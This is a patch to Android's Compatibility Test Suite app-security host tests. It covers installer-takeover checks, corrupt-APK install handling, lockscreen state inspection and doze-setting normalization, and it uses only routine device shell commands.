+            getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
+            getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
+            getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
+
+            new InstallMultiple().addFile(DECLARE_PERMISSION_APK).run();
+            new InstallMultiple().addFile(DECLARE_PERMISSION_COMPAT_APK).run();
+            new InstallMultiple().addFile(PERMISSION_DIFF_CERT_APK).run();
+
+            // Enable alert window permission so it can start activity in background
+            enableAlertWindowAppOp(DECLARE_PERMISSION_PKG);
+
+            runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "assertBefore");
+            runCrossPackageInstallerDeviceTest(DECLARE_PERMISSION_PKG, "takeInstaller");
+            runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "attemptTakeOver");
+            runCrossPackageInstallerDeviceTest(DECLARE_PERMISSION_PKG, "clearInstaller");
+            runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "assertAfter");
+        } finally {
+            getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
+            getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
+            getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
+        }
+    }
+
+    /**
+     * Utility method to make actual test method easier to read.
+     */
+    private void runCrossPackageInstallerDeviceTest(String pkgName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Map<String, String> arguments = new HashMap<>();
+        arguments.put("runExplicit", "true");
+        runDeviceTests(getDevice(), null, pkgName, pkgName + ".ModifyInstallerCrossPackageTest",
+                testMethodName, null, 10 * 60 * 1000L, 10 * 60 * 1000L, 0L, true, false, arguments);
+    }
+
+    /**
      * Test what happens if an app tried to take a permission away from another
      */
     @Test
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 3900d4a..f939b17 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -111,8 +111,10 @@
         device.uninstallPackage("com.android.appsecurity.b71360999");
         device.uninstallPackage("com.android.appsecurity.b71361168");
         device.uninstallPackage("com.android.appsecurity.b79488511");
-        device.uninstallPackage(CORRUPT_APK_PACKAGE_NAME);
+        // WARNING: PlatformCompat overrides for package parsing changes must be reset before the
+        // package is uninstalled because overrides cannot be reset if the package is not present.
         device.executeShellCommand("am compat reset-all " + CORRUPT_APK_PACKAGE_NAME);
+        device.uninstallPackage(CORRUPT_APK_PACKAGE_NAME);
     }
 
     @Before
@@ -132,7 +134,7 @@
     private String install(String apk) throws DeviceNotAvailableException, FileNotFoundException  {
         return getDevice().installPackage(
                 new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
-                false /*reinstall*/);
+                true /* reinstall */);
     }
 
     /**
@@ -167,12 +169,13 @@
         assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
     }
 
-    /** APKs that target pre-Q and have a compressed resources.arsc can be installed. */
+    /** APKs that target pre-R and have a compressed resources.arsc can be installed. */
     public void testFailInstallCompressedARSC_Q() throws Exception {
         assertNull(install(COMPRESSED_ARSC_Q));
     }
 
     public void testFailInstallCompressedARSC_Q_PlatformConfig_enabled() throws Exception {
+        assertNull(install(COMPRESSED_ARSC_Q));
         getDevice().executeShellCommand(String.format("am compat enable %s %s",
                 FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
         assertNotNull(install(COMPRESSED_ARSC_Q));
@@ -183,18 +186,13 @@
         assertNotNull(install(COMPRESSED_ARSC_R));
     }
 
-    public void testFailInstallCompressedARSC_R_PlatformConfig_disabled() throws Exception {
-        getDevice().executeShellCommand(String.format("am compat disable %s %s",
-                FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
-        assertNull(install(COMPRESSED_ARSC_R));
-    }
-
-    /** APKs that target pre-Q and have a unaligned resources.arsc can be installed. */
+    /** APKs that target pre-R and have a unaligned resources.arsc can be installed. */
     public void testFailInstallUnalignedARSC_Q() throws Exception {
         assertNull(install(UNALIGNED_ARSC_Q));
     }
 
     public void testFailInstallUnalignedARSC_Q_PlatformConfig_enabled() throws Exception {
+        assertNull(install(UNALIGNED_ARSC_Q));
         getDevice().executeShellCommand(String.format("am compat enable %s %s",
                 FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
         assertNotNull(install(UNALIGNED_ARSC_Q));
@@ -204,10 +202,4 @@
     public void testFailInstallUnalignedARSC_R() throws Exception {
         assertNotNull(install(UNALIGNED_ARSC_R));
     }
-
-    public void testFailInstallUnalignedARSC_R_PlatformConfig_disabled() throws Exception {
-        getDevice().executeShellCommand(String.format("am compat disable %s %s",
-                FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
-        assertNull(install(UNALIGNED_ARSC_R));
-    }
 }
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index b8bb01f..d986e58 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -55,6 +55,8 @@
     private static final String MODE_NONE = "none";
 
     private static final String FEATURE_DEVICE_ADMIN = "feature:android.software.device_admin";
+    private static final String FEATURE_SECURE_LOCK_SCREEN =
+            "feature:android.software.secure_lock_screen";
     private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive";
 
     private static final long SHUTDOWN_TIME_MS = 30 * 1000;
@@ -213,7 +215,8 @@
     }
 
     private boolean isSupportedDevice() throws Exception {
-        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN);
+        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN)
+                && getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN);
     }
 
     private boolean isAutomotiveDevice() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 1c83284..fc97c75 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -18,6 +18,8 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
+import com.android.tradefed.device.DeviceNotAvailableException;
+
 import com.google.common.collect.ImmutableSet;
 
 /**
@@ -26,6 +28,7 @@
  */
 public class DocumentsTest extends DocumentsTestCase {
     private static final String PROVIDER_PKG = "com.android.cts.documentprovider";
+    private static final String DUMMYIME_PKG = "com.android.cts.dummyime";
     private static final String PROVIDER_APK = "CtsDocumentProvider.apk";
     private static final String DUMMYIME_APK = "CtsDummyIme.apk";
 
@@ -46,7 +49,7 @@
         super.tearDown();
 
         getDevice().uninstallPackage(PROVIDER_PKG);
-        getDevice().uninstallPackage(DUMMYIME_APK);
+        getDevice().uninstallPackage(DUMMYIME_PKG);
     }
 
     public void testOpenSimple() throws Exception {
@@ -124,7 +127,7 @@
     }
 
     public void testRestrictStorageAccessFrameworkEnabled_blockFromTree() throws Exception {
-        if (isAtLeastR()) {
+        if (isAtLeastR() && isSupportedHardware()) {
             runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
                 "testRestrictStorageAccessFrameworkEnabled_blockFromTree",
                 /* enabledChanges */ ImmutableSet.of(RESTRICT_STORAGE_ACCESS_FRAMEWORK),
@@ -133,7 +136,7 @@
     }
 
     public void testRestrictStorageAccessFrameworkDisabled_notBlockFromTree() throws Exception {
-        if (isAtLeastR()) {
+        if (isAtLeastR() && isSupportedHardware()) {
             runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
                 "testRestrictStorageAccessFrameworkDisabled_notBlockFromTree",
                 /* enabledChanges */ ImmutableSet.of(),
@@ -153,4 +156,17 @@
             return false;
         }
     }
+
+    private boolean isSupportedHardware() {
+        try {
+            if (getDevice().hasFeature("feature:android.hardware.type.television")
+                    || getDevice().hasFeature("feature:android.hardware.type.watch")
+                    || getDevice().hasFeature("feature:android.hardware.type.automotive")) {
+                return false;
+            }
+        } catch (DeviceNotAvailableException e) {
+            return true;
+        }
+        return true;
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
new file mode 100644
index 0000000..e2ff6c6
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Tests to verify app location access */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationPolicyTest extends BaseAppSecurityTest {
+
+    private static final String TEST_PKG = "android.appsecurity.cts.locationpolicy";
+    private static final String TEST_APK = "CtsLocationPolicyApp.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    @Test
+    @SecurityTest
+    public void testLocationPolicyPermissions() throws Exception {
+        new InstallMultiple(true).addFile(TEST_APK).run();
+        Utils.runDeviceTests(
+            getDevice(), TEST_PKG, ".LocationPolicyTest", "testLocationPolicyPermissions");
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java
new file mode 100644
index 0000000..bed2065
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.server.wm.KeyguardServiceDelegateProto;
+import com.android.server.wm.WindowManagerServiceDumpProto;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+
+class LockScreenInspector {
+    private static final String DUMPSYS_WINDOW = "dumpsys window --proto";
+
+    private Boolean mKeyguardShowingAndNotOccluded;
+    private final ITestDevice mDevice;
+
+    private LockScreenInspector(ITestDevice device) {
+        mDevice = device;
+    }
+
+    static LockScreenInspector newInstance(ITestDevice device) {
+        LockScreenInspector inspector = new LockScreenInspector(device);
+        inspector.checkCurrentState();
+        return inspector;
+    }
+
+    boolean isDisplayedAndNotOccluded() {
+        return mKeyguardShowingAndNotOccluded;
+    }
+
+    private void checkCurrentState() {
+        int retriesLeft = 3;
+        boolean retry = false;
+
+        do {
+            if (retry) {
+                CLog.w("***Retrying dump****");
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException ignored) {
+                }
+            }
+            try {
+                WindowManagerServiceDumpProto dumpProto = getDump(
+                        WindowManagerServiceDumpProto.parser(), DUMPSYS_WINDOW);
+                KeyguardServiceDelegateProto keyguardProto =
+                        dumpProto.getPolicy().getKeyguardDelegate();
+                mKeyguardShowingAndNotOccluded = keyguardProto.getShowing()
+                        && !keyguardProto.getOccluded();
+                retry = false;
+            } catch (Exception e) {
+                CLog.w(e);
+                retry = true;
+            }
+        } while (retry && retriesLeft-- > 0);
+
+        if (retry) {
+            fail("Could not obtain lockscreen state");
+        }
+    }
+
+    private <T extends MessageLite> T getDump(Parser<T> parser, String command) throws Exception {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        mDevice.executeShellCommand(command, receiver);
+        return parser.parseFrom(receiver.getOutput());
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
new file mode 100644
index 0000000..5731457
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * {@link TestRule} class that disables screen saver and doze settings before each test method
+ * running and restoring to initial values after test method finished.
+ */
+public class NormalizeScreenStateRule implements TestRule {
+    private final ITestInformationReceiver mTestInformationReceiver;
+
+    public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) {
+        mTestInformationReceiver = testInformationReceiver;
+    }
+
+    /** Doze items copied from ActivityManagerTestBase since the keys are hidden. */
+    private static final String[] DOZE_SETTINGS = {
+            "doze_enabled",
+            "doze_always_on",
+            "doze_pulse_on_pick_up",
+            "doze_pulse_on_long_press",
+            "doze_pulse_on_double_tap",
+            "doze_wake_screen_gesture",
+            "doze_wake_display_gesture",
+            "doze_tap_gesture",
+            "screensaver_enabled",
+    };
+
+    private ITestDevice getDevice() {
+        return mTestInformationReceiver.getTestInformation().getDevice();
+    }
+
+    private String getSecureSetting(String key) {
+        try {
+            CommandResult res = getDevice().executeShellV2Command("settings get secure " + key);
+            if (res.getStatus() != CommandStatus.SUCCESS) {
+                fail("Could not set setting " + key + ": " + res.getStdout());
+            }
+            return res.getStdout().trim();
+        } catch (DeviceNotAvailableException e) {
+            fail("Could not connect to device: " + e.getMessage());
+            return null;
+        }
+    }
+
+    private void putSecureSetting(String key, String value) {
+        try {
+            CommandResult res = getDevice().executeShellV2Command(
+                    "settings put secure " + key + " " + value);
+            if (res.getStatus() != CommandStatus.SUCCESS) {
+                fail("Could not set setting " + key + ": " + res.getStdout());
+            }
+        } catch (DeviceNotAvailableException e) {
+            fail("Could not connect to device: " + e.getMessage());
+        }
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                final Map<String, String> initialValues = new HashMap<>();
+                Arrays.stream(DOZE_SETTINGS).forEach(
+                        k -> initialValues.put(k, getSecureSetting(k)));
+                try {
+                    Arrays.stream(DOZE_SETTINGS).forEach(k -> putSecureSetting(k, "0"));
+                    base.evaluate();
+                } finally {
+                    Arrays.stream(DOZE_SETTINGS).forEach(
+                            k -> putSecureSetting(k, initialValues.get(k)));
+                }
+            }
+        };
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
index f3c3420..923810c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
@@ -55,8 +55,8 @@
         @JvmStatic
         @Parameterized.Parameters(name = "{1}")
         fun parameters() = arrayOf(
-                arrayOf(true, "throwException"),
-                arrayOf(false, "failSilently")
+                arrayOf(false, "throwException"),
+                arrayOf(true, "failSilently")
         )
     }
 
@@ -80,16 +80,6 @@
         device.executeShellCommand("am compat reset $CHANGE_ID $WHITELIST_PKG")
     }
 
-    @Before
-    fun initializeChangeState() {
-        if (failSilently) {
-            device.executeShellCommand("am compat disable $CHANGE_ID $TARGET_PKG")
-            device.executeShellCommand("am compat disable $CHANGE_ID $WHITELIST_PKG")
-        } else {
-            resetChanges()
-        }
-    }
-
     @Test
     fun notRestricted() {
         runTest(removeWhitelistShouldSucceed = false,
@@ -148,6 +138,8 @@
                 .forUser(mPrimaryUserId)
                 .run()
 
+        setChangeState()
+
         assertPermission(false, permission)
         assertTargetInstaller(null)
 
@@ -194,6 +186,12 @@
         assertGrantState(finalState, permission)
     }
 
+    private fun setChangeState() {
+        val state = if (failSilently) "disable" else "enable"
+        device.executeShellCommand("am compat $state $CHANGE_ID $TARGET_PKG")
+        device.executeShellCommand("am compat $state $CHANGE_ID $WHITELIST_PKG")
+    }
+
     private fun assertTargetInstaller(installer: String?) {
         assertThat(device.executeShellCommand("pm list packages -i | grep $TARGET_PKG").trim())
                 .isEqualTo("package:$TARGET_PKG  installer=$installer")
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 1128c8f..557596a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -25,7 +25,6 @@
 import static org.junit.Assert.fail;
 
 import com.android.compatibility.common.util.HostSideTestUtils;
-import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,6 +32,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -66,6 +66,9 @@
 
     private boolean mSupportsMultiUser;
 
+    @Rule
+    public NormalizeScreenStateRule mNoDozeRule = new NormalizeScreenStateRule(this);
+
     @Before
     public void setUp() throws Exception {
         assertNotNull(getAbi());
@@ -311,7 +314,23 @@
     }
 
     private void deviceLock(int userId) throws Exception {
-        runDeviceTestsAsUser("testLockScreen", userId);
+        int retriesLeft = 3;
+        boolean retry = false;
+        do {
+            if (retry) {
+                CLog.i("Retrying to summon lockscreen...");
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException ignored) {}
+            }
+            runDeviceTestsAsUser("testLockScreen", userId);
+            retry = !LockScreenInspector.newInstance(getDevice()).isDisplayedAndNotOccluded();
+        } while (retriesLeft-- > 0 && retry);
+
+        if (retry) {
+            CLog.e("Could not summon lockscreen...");
+            fail("Device could not be locked");
+        }
     }
 
     private void deviceEnterLskf(int userId) throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
index 915d9a9..0994422 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
@@ -32,4 +32,28 @@
         "vts10",
         "general-tests",
     ]
+}
+
+android_test_import {
+    name: "CtsCorruptApkTests_Unaligned_Q",
+    apk: "unaligned_Q.apk",
+    presigned: true,
+    preprocessed: true,
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ]
+}
+
+android_test_import {
+    name: "CtsCorruptApkTests_Unaligned_R",
+    apk: "unaligned_R.apk",
+    presigned: true,
+    preprocessed: true,
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ]
 }
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk
deleted file mode 100644
index ae419b65..0000000
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2020 Google Inc.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsCorruptApkTests_Unaligned_Q
-LOCAL_SRC_FILES := unaligned_Q.apk
-LOCAL_MODULE_CLASS := APPS
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_SUFFIX := .apk
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/unaligned_Q.apk
-LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
-include $(BUILD_PREBUILT)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsCorruptApkTests_Unaligned_R
-LOCAL_SRC_FILES := unaligned_R.apk
-LOCAL_MODULE_CLASS := APPS
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_SUFFIX := .apk
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/unaligned_R.apk
-LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
-include $(BUILD_PREBUILT)
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
index b574029..93a223d 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
@@ -17,5 +17,6 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.content.cts.corruptapk" >
-    <application android:hasCode="false" />
+    <application android:hasCode="false"
+                 android:debuggable="true"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
index 58c30cd..afaac5d 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
index 1bdd2bb..ecb009f 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
index b6023bc..a17200b 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
index e64bcfd..7296b84 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 40d8ff4..03746fe 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -713,6 +713,7 @@
 
         final Uri rootsUri = DocumentsContract.buildRootsUri(PROVIDER_PACKAGE);
         final Intent intent = new Intent(Intent.ACTION_VIEW);
+        intent.setPackage(getDocumentsUiPackageId());
         intent.setDataAndType(rootsUri, "vnd.android.document/root");
         mActivity.startActivity(intent);
         mDevice.waitForIdle();
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 88601e5..8e3a970 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -22,6 +22,7 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.accessibilityservice.AccessibilityService;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -204,10 +205,9 @@
         mDevice.waitForIdle();
     }
 
-    private void retryPressKeyCode(int keyCode, BooleanSupplier waitFor, String msg) {
+    private void waitFor(String msg, BooleanSupplier waitFor) {
         int retry = 1;
         do {
-            mDevice.pressKeyCode(keyCode);
             if (waitFor.getAsBoolean()) {
                 return;
             }
@@ -221,9 +221,10 @@
 
     private void summonKeyguard() throws Exception {
         final PowerManager pm = mDe.getSystemService(PowerManager.class);
-        retryPressKeyCode(KeyEvent.KEYCODE_SLEEP, () -> pm != null && !pm.isInteractive(),
-                "***Waiting for device sleep...");
-        mDevice.waitForIdle();
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_SLEEP);
+        getInstrumentation().getUiAutomation().performGlobalAction(
+                AccessibilityService.GLOBAL_ACTION_LOCK_SCREEN);
+        waitFor("display to turn off", () -> pm != null && !pm.isInteractive());
     }
 
     public void assertLocked() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
index fad87d2..8fdf859 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -103,7 +103,7 @@
      * Verify we can write to our own package dirs.
      */
     public void testAllPackageDirsWritable() throws Exception {
-        final long testValue = 12345000;
+        final long testValue = 1234500000000L;
         final List<File> paths = getAllPackageSpecificPaths(getContext());
         for (File path : paths) {
             assertNotNull("Valid media must be inserted during CTS", path);
@@ -278,6 +278,12 @@
         }
     }
 
+    public static void assertDirReadWriteAccess(File[] paths) {
+        for (File path : paths) {
+            assertDirReadWriteAccess(path);
+        }
+    }
+
     public static void assertDirReadWriteAccess(File path) {
         Log.d(TAG, "Asserting read/write access to " + path);
 
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
similarity index 67%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
index d957080..b7174d2 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -1,4 +1,3 @@
-//
 // Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,26 @@
